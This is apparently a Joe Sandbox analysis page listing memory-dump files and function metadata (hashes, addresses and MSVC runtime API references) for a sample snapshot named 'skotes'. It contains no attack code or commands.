Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: dcb0da2fe961f08f02971fceb02375a6acd90681162e4805bcd3451fe0c6f948
Instruction ID: 36e4bca86119e6027a5b500fd3a8dbef707a3018445faddbc92fc7cd1b62bf76
Opcode Fuzzy Hash: dcb0da2fe961f08f02971fceb02375a6acd90681162e4805bcd3451fe0c6f948
Instruction Fuzzy Hash: 03F0B43AA61204A7CB21FA54DC97C9EB369AE81714B64812EE409571C1DF70AA25CB92

Function 002A67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002A6902
__alloca_probe_16.LIBCMT ref: 002A6998
__freea.LIBCMT ref: 002A6A03
__freea.LIBCMT ref: 002A6A0F

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 5e084f7f32f0e1f9acb6aeb5a750ee19673fdcf5c6635532c09e68cf1a767522
Instruction ID: 2703e1ad2b03b94563dcdfe0914d5a5662825ea9fd75ac8d30b17a6df93d2982
Opcode Fuzzy Hash: 5e084f7f32f0e1f9acb6aeb5a750ee19673fdcf5c6635532c09e68cf1a767522
Instruction Fuzzy Hash: AE81BF72D202469FDF219E648849AEFBBA9DF0A354F1D4059E914B7241EB398C648BA0

Function 0029504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00295115
___AdjustPointer.LIBCMT ref: 00295138
___AdjustPointer.LIBCMT ref: 002951D4

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4a282b3015f2328e0e64b5a4ae3975826ca0ffff9d8f901384fd967026eac7aa
Instruction ID: 3771480c1b5fe7b63b778dd47c95f66e977ac3c353fa1eb48134121827d9d9e5
Opcode Fuzzy Hash: 4a282b3015f2328e0e64b5a4ae3975826ca0ffff9d8f901384fd967026eac7aa
Instruction Fuzzy Hash: 0C51F371B22A26AFDF2A8F14D851B7A73B4EF14300F14412DED09972A1E771ED60CB90

Function 00294C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00294C66
TypeidsEqual.LIBVCRUNTIME ref: 00294C8B
PMDtoOffset.LIBCMT ref: 00294CA1
PMDtoOffset.LIBCMT ref: 00294D22

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: fabb0d1196db21415dd17700d213996787e4184bdb6b12d50fa0d41a76fab1e3
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: BB51B279A2420A9FDF11DF68C480EEEBBF4EF15358F14455AE850A7351D332AE16CB60

Function 0028DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0028DB64

Part of subcall function 00288F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00288F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0028DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0028DBE9
Concurrency::location::_Assign.LIBCMT ref: 0028DC56

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: ea371966f911210b4778b9f3f112de16c1b00cccd50a2e0e2f4ed1e3df461806
Instruction ID: b9094aba0400b5028870ad65927ef6403dfd4ebe229df6c22c858ff550262fd0
Opcode Fuzzy Hash: ea371966f911210b4778b9f3f112de16c1b00cccd50a2e0e2f4ed1e3df461806
Instruction Fuzzy Hash: E8411A78625211ABCF1AFF24C885BBDBB75AF44310F04419EE5065B3C2CB70AD59CB91

Function 002856AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 002856F2
_InternalDeleteHelper.LIBCONCRT ref: 00285726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0028578B
SafeRWList.LIBCONCRT ref: 0028579A

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
